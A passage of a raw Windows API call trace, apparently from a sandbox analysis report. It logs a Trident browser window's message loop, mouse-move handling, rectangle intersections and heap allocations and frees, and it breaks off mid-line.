[0145.145] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.145] GetMessageTime () returned 273282 [0145.145] GetMessagePos () returned 0x1c80339 [0145.145] PostMessageW (hWnd=0x60132, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0145.146] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f190 | out: lpPoint=0x30f190) returned 1 [0145.146] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f190 | out: lpPoint=0x30f190) returned 1 [0145.146] GetCurrentThreadId () returned 0xcd8 [0145.146] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.146] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x30f3cc | out: plResult=0x30f3cc) returned 0x1 [0145.146] NtdllDefWindowProc_W () returned 0x0 [0145.146] GetCurrentThreadId () returned 0xcd8 [0145.147] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.147] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.147] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5b8 | out: lpPoint=0x30f5b8) returned 1 [0145.147] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0145.148] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.148] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f598 | out: lpPoint=0x30f598) returned 1 [0145.148] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0145.148] GetCurrentThreadId () returned 0xcd8 [0145.148] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.148] IsWinEventHookInstalled (event=0x8005) returned 0 [0145.148] GetCurrentThreadId () returned 0xcd8 [0145.148] GetFocus () returned 0x60018 [0145.148] GetCurrentThreadId () returned 0xcd8 [0145.148] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.148] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.149] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.149] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.276] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.276] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.276] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.276] KillTimer (hWnd=0x60018, uIDEvent=0x1000) returned 1 [0145.276] GetCurrentThreadId () returned 0xcd8 [0145.276] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.310] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.310] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0145.310] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0145.310] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0145.310] GetCurrentThreadId () returned 0xcd8 [0145.310] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.310] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0145.310] GetMessageTime () returned 273454 [0145.310] GetMessagePos () returned 0x1c80339 [0145.310] GetCapture () returned 0x0 [0145.310] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0145.310] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0145.310] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0145.310] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.310] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0145.311] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0145.311] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0145.311] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0145.311] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0145.311] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0145.311] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.311] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0145.311] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0145.311] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0145.311] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0145.311] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0145.311] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0145.311] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0145.311] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0145.311] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.311] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0145.311] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0145.311] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0145.311] GetCursor () returned 0x10003 [0145.311] GetCurrentThreadId () returned 0xcd8 [0145.311] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.311] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.311] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.312] GetMessageTime () returned 273485 [0145.312] GetMessagePos () returned 0x1c80339 [0145.312] GetCapture () returned 0x0 [0145.312] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0145.312] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0145.312] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0145.312] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.312] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0145.312] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0145.312] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0145.312] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0145.312] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0145.312] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0145.312] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.312] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0145.312] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0145.312] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0145.312] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0145.312] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0145.312] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0145.312] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0145.312] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0145.312] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.313] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0145.313] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0145.313] GetCurrentThreadId () returned 0xcd8 [0145.313] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.313] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0145.313] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0145.313] NtdllDefWindowProc_W () returned 0x0 [0145.313] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0145.313] GetCurrentThreadId () returned 0xcd8 [0145.313] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.315] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.315] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.315] GetCapture () returned 0x0 [0145.315] WindowFromPoint (Point=0x339) returned 0x60018 [0145.315] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.315] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0145.315] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0145.315] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0145.315] GetCurrentThreadId () returned 0xcd8 [0145.315] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.339] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.339] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0145.340] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0145.340] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0145.340] GetCurrentThreadId () returned 0xcd8 [0145.340] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.340] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0145.340] GetMessageTime () returned 273500 [0145.340] GetMessagePos () returned 0x1c80339 [0145.340] GetCapture () returned 0x0 [0145.340] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0145.340] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0145.340] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0145.340] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.340] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0145.340] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0145.341] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0145.341] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0145.341] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0145.341] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0145.341] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.341] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0145.341] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0145.341] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0145.341] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0145.341] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0145.341] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0145.341] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0145.341] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0145.341] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.341] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0145.341] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0145.341] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0145.341] GetCursor () returned 0x10003 [0145.341] GetCurrentThreadId () returned 0xcd8 [0145.341] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.341] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.341] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.342] GetMessageTime () returned 273500 [0145.342] GetMessagePos () returned 0x1c80339 [0145.342] GetCapture () returned 0x0 [0145.342] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0145.342] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0145.342] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0145.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.342] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0145.342] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0145.342] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0145.342] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0145.342] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0145.342] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0145.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.342] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0145.342] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0145.342] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0145.342] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0145.342] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0145.342] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0145.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0145.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0145.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0145.342] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0145.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0145.343] GetCurrentThreadId () returned 0xcd8 [0145.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0145.343] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0145.343] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0145.343] NtdllDefWindowProc_W () returned 0x0 [0145.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0145.343] GetCurrentThreadId () returned 0xcd8 [0145.343] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.490] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.490] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.490] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.629] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.629] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.629] GetCapture () returned 0x0 [0145.641] WindowFromPoint (Point=0x339) returned 0x60018 [0145.641] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.641] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0145.641] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0145.641] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0145.641] GetCurrentThreadId () returned 0xcd8 [0145.641] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0145.939] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0145.939] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0145.939] GetCapture () returned 0x0 [0145.939] WindowFromPoint (Point=0x339) returned 0x60018 [0145.939] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0145.939] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0145.939] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0145.939] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0145.939] GetCurrentThreadId () returned 0xcd8 [0145.939] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.251] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.251] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.251] GetCapture () returned 0x0 [0146.251] WindowFromPoint (Point=0x339) returned 0x60018 [0146.251] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.251] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0146.251] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0146.251] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0146.251] GetCurrentThreadId () returned 0xcd8 [0146.251] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.348] NtdllDefWindowProc_W () returned 0x1 [0146.350] NtdllDefWindowProc_W () returned 0x0 [0146.350] NtdllDefWindowProc_W () returned 0x0 [0146.350] NtdllDefWindowProc_W () returned 0x0 [0146.350] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.350] GetParent (hWnd=0x60018) returned 0x201e6 [0146.350] GetParent (hWnd=0x201e6) returned 0x301fa [0146.350] GetParent (hWnd=0x301fa) returned 0x0 [0146.350] PostMessageW (hWnd=0x60018, Msg=0x491, wParam=0x0, lParam=0x0) returned 1 [0146.350] GetMessageTime () returned 274436 [0146.350] GetMessagePos () returned 0x1c80339 [0146.351] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f350 | out: lpPoint=0x30f350) returned 1 [0146.351] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f350 | out: lpPoint=0x30f350) returned 1 [0146.351] GetCurrentThreadId () returned 0xcd8 [0146.351] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.351] PostMessageW (hWnd=0x60132, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0146.352] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x8, wParam=0x0, lParam=0x0, plResult=0x30f58c | out: plResult=0x30f58c) returned 0x1 [0146.352] NtdllDefWindowProc_W () returned 0x0 [0146.352] GetCurrentThreadId () returned 0xcd8 [0146.352] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.352] GetMessageTime () returned 274436 [0146.352] GetMessagePos () returned 0x1c80339 [0146.352] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x30f19c | out: plResult=0x30f19c) returned 0x0 [0146.352] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.353] GetMessageTime () returned 274436 [0146.353] GetMessagePos () returned 0x1c80339 [0146.353] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0146.353] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x282, wParam=0x1, lParam=0x0, plResult=0x30ebcc | out: plResult=0x30ebcc) returned 0x0 [0146.353] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0146.353] SetTimer (hWnd=0x60018, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0146.353] GetCurrentThreadId () returned 0xcd8 [0146.353] GetCurrentThreadId () returned 0xcd8 [0146.353] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.353] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0146.353] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0146.353] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0146.353] GetCurrentThreadId () returned 0xcd8 [0146.353] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.353] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0146.354] GetMessageTime () returned 274436 [0146.354] GetMessagePos () returned 0x1c80339 [0146.354] GetCapture () returned 0x0 [0146.354] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0146.354] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0146.354] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0146.354] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.354] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0146.354] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0146.354] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0146.354] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0146.354] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0146.354] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0146.354] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.354] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0146.354] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0146.354] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0146.354] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0146.354] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0146.354] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0146.354] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0146.354] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0146.354] HeapFree (in: hHeap=0x7f0000, 